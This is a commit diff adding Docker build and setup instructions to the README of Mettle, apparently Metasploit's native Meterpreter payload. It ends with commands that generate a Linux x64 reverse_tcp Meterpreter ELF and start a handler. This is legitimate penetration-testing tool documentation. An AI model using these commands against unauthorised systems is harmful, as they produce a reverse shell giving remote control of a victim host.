Skip to content

Commit ad58746

Browse files
committed
Updates README.md with more setup instructions
1 parent 8a2aedf commit ad58746

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed

README.md

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -178,6 +178,52 @@ to_handler
178178

179179

180180
## Docker
181+
The following is to get Mettle set up locally via Docker and generate a payload.
182+
1. Mount the Docker container within the Mettle directory:
183+
```
184+
sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
185+
```
186+
2.
187+
Once the Docker container is up and running, run the `make-all` command:
188+
```
189+
./make-all
190+
```
191+
192+
3. Then run `rake-build`:
193+
```
194+
rake build
195+
```
196+
197+
4. Copy the gem that was output via `rake-build`, this will be found in
198+
`pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem`. Add this into your Metasploit-Framework directory.
199+
200+
5. Update `metasploit-framework.gemspec` and add `-dev` with the version of the gem above:
201+
```
202+
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
203+
```
204+
205+
6. Now within your Metasploit Framework directory, run the following commands:
206+
```
207+
gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
208+
209+
bundle install
210+
```
211+
212+
7. Now you are able to generate the payload as normal - example of a linux target:
213+
```
214+
use linux/x64/meterpreter/reverse_tcp
215+
216+
set LHOST xxx.xxx.xxx.xxx
217+
set LPORT 4444
218+
219+
generate -f elf -o mettle.elf
220+
221+
chmod +x ./mettle.elf
222+
223+
to_handler
224+
```
225+
226+
### Docker with debugging
181227
The following steps make use of `gdb` for debugging.
182228
1. Run the Docker container:
183229
```

0 commit comments

Comments
 (0)